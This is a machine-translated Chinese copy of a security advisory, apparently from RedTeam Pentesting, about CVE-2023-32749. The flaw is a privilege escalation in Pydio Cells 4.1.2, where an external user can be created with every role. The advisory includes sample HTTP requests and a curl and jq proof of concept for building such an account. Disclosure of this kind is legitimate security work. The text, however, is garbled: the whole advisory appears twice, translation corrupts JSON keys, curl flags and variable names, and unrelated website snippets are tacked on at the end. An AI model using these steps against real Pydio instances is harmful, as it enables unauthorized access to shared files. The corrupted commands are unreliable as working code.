利用标题: PYDIO单元4.1.2-未经授权的角色分配
受影响的版本: 4.1.2和更早版本
固定版本: 4.2.0,4.1.3,3.0.12
漏洞类型:特权升级
安全风险:高
供应商URL: https://pydio.com/
供应商状态:已通知
咨询URL: https://www.redteam-pesting.de/ADVISOIRES/RT-SA-SA-2023-003
咨询状态:发布
CVE: CVE-2023-32749
cve url: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2023-32749
介绍
===============
'Pydio Cells是一种开放核,自托管的文档共享,
专为组织设计的协作平台(DSC)
不需要安全的高级文档共享和协作
权衡或合规性问题。”
(来自供应商的主页)
更多细节
===============
用户可以在同一pydio上与其他用户共享单元格或文件夹
实例。 Web应用程序允许选择一个已经
从列表中的现有用户或通过输入新用户创建新用户
用户名和密码,如果启用了此功能。创建一个
以这种方式,新用户的HTTP请求如下:
----------------------------------------------------------------------------------------------------------------------
put/a/user/newuser http/2
HOST: example.com
用户代理:代理
授权:载体O48GVJD [.]
content-type:应用程序/json
内容长度: 628
cookie: token=ao [.]
{
'属性': {
'profile':'共享',
'parameter:core.conf:lang':'\'en-us \'',
'send_email':'false'
},
'角色: [],
'login':'newuser',
'password':'Secret!',
'grouppath':'/',
'政策: [.]
}
----------------------------------------------------------------------------------------------------------------------
在身体中发送的JSON对象包含用户名和密码
为了创建用户和键“角色”的空列表。这
响应包含一个类似于以下的JSON对象:
----------------------------------------------------------------------------------------------------------------------
{
'UUID':'58811C4C-2286-4CA0-8E8A-14AB9DBCA8CE',
'grouppath':'/',
'属性': {
'parameter:core.conf:lang':'\'en-us \'',
'profile':'共享'
},
'角色: [
{
'uuid':'外部_users',
'label':'外部用户',
'政策: [.]
},
{
'UUID':'58811C4C-2286-4CA0-8E8A-14AB9DBCA8CE',
'label':'用户newuser',
'userrole': True,
'政策: [.]
}
],
'login':'newuser',
'政策: [.],
'policiesContextedable': True
}
----------------------------------------------------------------------------------------------------------------------
关键“角色”现在包含一个带有两个对象的列表,这似乎是
默认使用。 HTTP请求中的角色列表可以是
修改以包含所有可用的角色uuid列表,可以
可通过使用用户搜索功能获得。这导致
新的用户帐户,具有所有角色。通过执行登录
新创建的用户,访问所有单元格和非个人工作区的访问
授予了整个PYDIO实例。
概念证明
=====================
使用常规用户登录到Pydio单元格Web界面并检索
HTTP请求的JWT。可以使用HTTP完成此操作
攻击代理或使用浏览器的开发人员工具。随后,卷曲[1]
可以用如下来检索所有用户及其角色的列表:
----------------------------------------------------------------------------------------------------------------------
$导出jwt='插入jwt在这里'
$ curl- curl -silent \
-HEADER'授权:携带者$ token'\
-HEADER'CONTENT-TYPE:应用程序/JSON'\
- 数据'{}' \
https://example.com/a/user | Tee all_users.json
{'用户': [.]}
----------------------------------------------------------------------------------------------------------------------
之后,JQ [2]可用于创建一个可以是的JSON文档
发送到PYDIO REST-API,以创建外部用户“ Foobar”
使用密码“ hunter2”和所有分配的角色:
----------------------------------------------------------------------------------------------------------------------
$ jq'.users []。角色的all_users.json \
| JQ -S'S flatten | 。[]。uuid | {uuid:}'\
| jq -s'unique'\
| jq'{'login':'foobar','password':'hunter2','属性':
{'profile':'共享'},'roles':}'\
| Tee create_user.json
{
'login':'Foobar',
'password':'hunter2',
'属性': {
'profile':'共享'
},
'角色: [.]
}
----------------------------------------------------------------------------------------------------------------------
最后,可以发出以下curl命令以创建新的外部
用户:
----------------------------------------------------------------------------------------------------------------------
$ curl-重新质量put \
- 沉默的\
-HEADER'授权:承载者$ JWT'\
-HEADER'CONTENT-TYPE:应用程序/JSON'\
-data @create_user.json \
----------------------------------------------------------------------------------------------------------------------
现在,使用新创建的用户登录以访问所有单元格,
非个人工作区。
解决方法
=============
不允许在身份验证设置中创建外部用户。
使固定
===
将pydio单元格升级到没有漏洞的版本。
安全风险
=================
攻击者可以访问pydio单元的任何常规用户帐户实例
通过创建具有所有角色的新外部用户来扩展其特权
分配。随后,他们可以访问任何文件夹和文件
单元格和工作区,除了个人工作区。创建
默认情况下激活外部用户。因此,脆弱性是
估计构成高风险。
时间表
==========
已确定的2023-03-23漏洞
2023-05-02客户批准向供应商披露
2023-05-02供应商已通知
2023-05-03请求CVE ID
2023-05-08供应商发布了固定版本
2023-05-14分配了CVE ID
2023-05-16供应商在发布建议之前再要求几天
2023-05-30咨询发布
参考
=============
[1] https://curl.se/
[2] https://stedolan.github.io/jq/
redteam pentesting GmbH
================================
Redteam Pentesting提供了由A执行的个人穿透测试
专业IT安全专家团队。特此,安全弱点
公司网络或产品被发现,可以立即修复。
由于该领域只有很少的专家,因此Redteam Pentesting想要
分享其知识并通过研究来增强公众知识
与安全有关的区域。结果可作为公开
安全咨询。
可以在:中找到有关Redteam Pentesting的更多信息
www.redteam-pentesting.de
在Redteam Pentesting工作
=======================================
Redteam Pentesting正在寻找渗透测试人员加入我们的团队
在德国亚兴。如果您有兴趣,请访问:
jobs.redteam-pentesting.de
受影响的版本: 4.1.2和更早版本
固定版本: 4.2.0,4.1.3,3.0.12
漏洞类型:特权升级
安全风险:高
供应商URL: https://pydio.com/
供应商状态:已通知
咨询URL: https://www.redteam-pesting.de/ADVISOIRES/RT-SA-SA-2023-003
咨询状态:发布
CVE: CVE-2023-32749
cve url: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2023-32749
介绍
===============
'Pydio Cells是一种开放核,自托管的文档共享,
专为组织设计的协作平台(DSC)
不需要安全的高级文档共享和协作
权衡或合规性问题。”
(来自供应商的主页)
更多细节
===============
用户可以在同一pydio上与其他用户共享单元格或文件夹
实例。 Web应用程序允许选择一个已经
从列表中的现有用户或通过输入新用户创建新用户
用户名和密码,如果启用了此功能。创建一个
以这种方式,新用户的HTTP请求如下:
----------------------------------------------------------------------------------------------------------------------
put/a/user/newuser http/2
HOST: example.com
用户代理:代理
授权:载体O48GVJD [.]
content-type:应用程序/json
内容长度: 628
cookie: token=ao [.]
{
'属性': {
'profile':'共享',
'parameter:core.conf:lang':'\'en-us \'',
'send_email':'false'
},
'角色: [],
'login':'newuser',
'password':'Secret!',
'grouppath':'/',
'政策: [.]
}
----------------------------------------------------------------------------------------------------------------------
在身体中发送的JSON对象包含用户名和密码
为了创建用户和键“角色”的空列表。这
响应包含一个类似于以下的JSON对象:
----------------------------------------------------------------------------------------------------------------------
{
'UUID':'58811C4C-2286-4CA0-8E8A-14AB9DBCA8CE',
'grouppath':'/',
'属性': {
'parameter:core.conf:lang':'\'en-us \'',
'profile':'共享'
},
'角色: [
{
'uuid':'外部_users',
'label':'外部用户',
'政策: [.]
},
{
'UUID':'58811C4C-2286-4CA0-8E8A-14AB9DBCA8CE',
'label':'用户newuser',
'userrole': True,
'政策: [.]
}
],
'login':'newuser',
'政策: [.],
'policiesContextedable': True
}
----------------------------------------------------------------------------------------------------------------------
关键“角色”现在包含一个带有两个对象的列表,这似乎是
默认使用。 HTTP请求中的角色列表可以是
修改以包含所有可用的角色uuid列表,可以
可通过使用用户搜索功能获得。这导致
新的用户帐户,具有所有角色。通过执行登录
新创建的用户,访问所有单元格和非个人工作区的访问
授予了整个PYDIO实例。
概念证明
=====================
使用常规用户登录到Pydio单元格Web界面并检索
HTTP请求的JWT。可以使用HTTP完成此操作
攻击代理或使用浏览器的开发人员工具。随后,卷曲[1]
可以用如下来检索所有用户及其角色的列表:
----------------------------------------------------------------------------------------------------------------------
$导出jwt='插入jwt在这里'
$ curl- curl -silent \
-HEADER'授权:携带者$ token'\
-HEADER'CONTENT-TYPE:应用程序/JSON'\
- 数据'{}' \
https://example.com/a/user | Tee all_users.json
{'用户': [.]}
----------------------------------------------------------------------------------------------------------------------
之后,JQ [2]可用于创建一个可以是的JSON文档
发送到PYDIO REST-API,以创建外部用户“ Foobar”
使用密码“ hunter2”和所有分配的角色:
----------------------------------------------------------------------------------------------------------------------
$ jq'.users []。角色的all_users.json \
| JQ -S'S flatten | 。[]。uuid | {uuid:}'\
| jq -s'unique'\
| jq'{'login':'foobar','password':'hunter2','属性':
{'profile':'共享'},'roles':}'\
| Tee create_user.json
{
'login':'Foobar',
'password':'hunter2',
'属性': {
'profile':'共享'
},
'角色: [.]
}
----------------------------------------------------------------------------------------------------------------------
最后,可以发出以下curl命令以创建新的外部
用户:
----------------------------------------------------------------------------------------------------------------------
$ curl-重新质量put \
- 沉默的\
-HEADER'授权:承载者$ JWT'\
-HEADER'CONTENT-TYPE:应用程序/JSON'\
-data @create_user.json \
----------------------------------------------------------------------------------------------------------------------
现在,使用新创建的用户登录以访问所有单元格,
非个人工作区。
解决方法
=============
不允许在身份验证设置中创建外部用户。
使固定
===
将pydio单元格升级到没有漏洞的版本。
安全风险
=================
攻击者可以访问pydio单元的任何常规用户帐户实例
通过创建具有所有角色的新外部用户来扩展其特权
分配。随后,他们可以访问任何文件夹和文件
单元格和工作区,除了个人工作区。创建
默认情况下激活外部用户。因此,脆弱性是
估计构成高风险。
时间表
==========
已确定的2023-03-23漏洞
2023-05-02客户批准向供应商披露
2023-05-02供应商已通知
2023-05-03请求CVE ID
2023-05-08供应商发布了固定版本
2023-05-14分配了CVE ID
2023-05-16供应商在发布建议之前再要求几天
2023-05-30咨询发布
参考
=============
[1] https://curl.se/
[2] https://stedolan.github.io/jq/
redteam pentesting GmbH
================================
Redteam Pentesting提供了由A执行的个人穿透测试
专业IT安全专家团队。特此,安全弱点
公司网络或产品被发现,可以立即修复。
由于该领域只有很少的专家,因此Redteam Pentesting想要
分享其知识并通过研究来增强公众知识
与安全有关的区域。结果可作为公开
安全咨询。
可以在:中找到有关Redteam Pentesting的更多信息

RedTeam Pentesting GmbH - Home
RedTeam Pentesting is specialised in performing penetration tests. Mandated by worldwide customers, security vulnerabilities in IT systems are uncovered.

=======================================
Redteam Pentesting正在寻找渗透测试人员加入我们的团队
在德国亚兴。如果您有兴趣,请访问:

Werde eine*r von uns!
Interesse an einer Anstellung als Penetrationstester*in? Bewirb dich jetzt bei RedTeam Pentesting!
